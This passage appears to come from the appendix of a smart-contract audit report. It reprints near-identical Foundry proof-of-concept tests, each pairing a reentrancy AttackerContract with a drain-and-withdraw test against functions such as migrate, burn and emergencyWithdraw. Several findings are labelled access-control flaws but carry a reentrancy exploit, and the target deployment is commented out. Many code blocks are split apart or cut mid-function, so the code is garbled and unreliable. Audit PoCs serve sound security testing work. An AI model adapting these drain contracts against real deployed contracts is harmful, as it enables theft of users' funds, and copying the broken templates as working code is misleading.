 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract MockSwapReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function unknown() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;
}

```

```

// Addresses
address public attacker;
address public victim;

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("MockSwap.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

```

```

        // Assertions
        assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("unknown()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("unknown()")
        );
        require(withdrawSuccess, "Initial call failed");
    }
}

```

```

function withdrawStolenFunds() external {
    require(msg.sender == owner, "Not owner");
    payable(owner).transfer(address(this).balance);
}
}

```

B.7. F-007 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function initialize performs privileged operation without access
control
 * Severity: High
 * Target Function: initialize
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function initialize() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);
    }
}

```

```

// Deploy target contract
// target = IVulnerable(deployCode("Unknown.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);

```

```

        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
    }
}

```

B.8. F-008 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function migrate performs privileged operation without access control
 * Severity: High
 * Target Function: migrate
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function migrate() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;
}

```

```

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("Unknown.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");

```

```

        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("migrate()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("migrate()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
    }
}

```

```

        payable(owner).transfer(address(this).balance);
    }
}

```

B.9. F-009 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function withdraw performs privileged operation without access control
 * Severity: High
 * Target Function: withdraw
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function withdraw() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract

```

```

// target = IVulnerable(deployCode("Unknown.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);
}

```

```

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {

```

B.10. F-010 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function withdrawAndHarvest performs privileged operation without
access control
 * Severity: High
 * Target Function: withdrawAndHarvest
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function withdrawAndHarvest() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;

```

```

address public victim;

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("Unknown.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost

```

```

funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);

    assertGt(count, 1, "Should have re-entered at least once");
}
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("withdrawAndHarvest()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("withdrawAndHarvest()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {

```

```

        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }
}

```

B.11. F-011 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function emergencyWithdraw performs privileged operation without access
 control
 * Severity: High
 * Target Function: emergencyWithdraw
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function emergencyWithdraw() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);
    }
}

```

```

    // Deploy target contract
    // target = IVulnerable(deployCode("Unknown.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

```

```

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }
}

```

B.12. F-012 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function migrate performs privileged operation without access control
 * Severity: High
 * Target Function: migrate
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function migrate() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;
}

```

```

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("Unknown.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");

```

```

        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("migrate()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("migrate()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
    }
}

```

```

        payable(owner).transfer(address(this).balance);
    }
}

```

B.13. F-013 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function burn performs privileged operation without access control
 * Severity: High
 * Target Function: burn
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function burn() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract

```

```

// target = IVulnerable(deployCode("Unknown.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);
}

```

```

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {

```

B.14. F-014 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
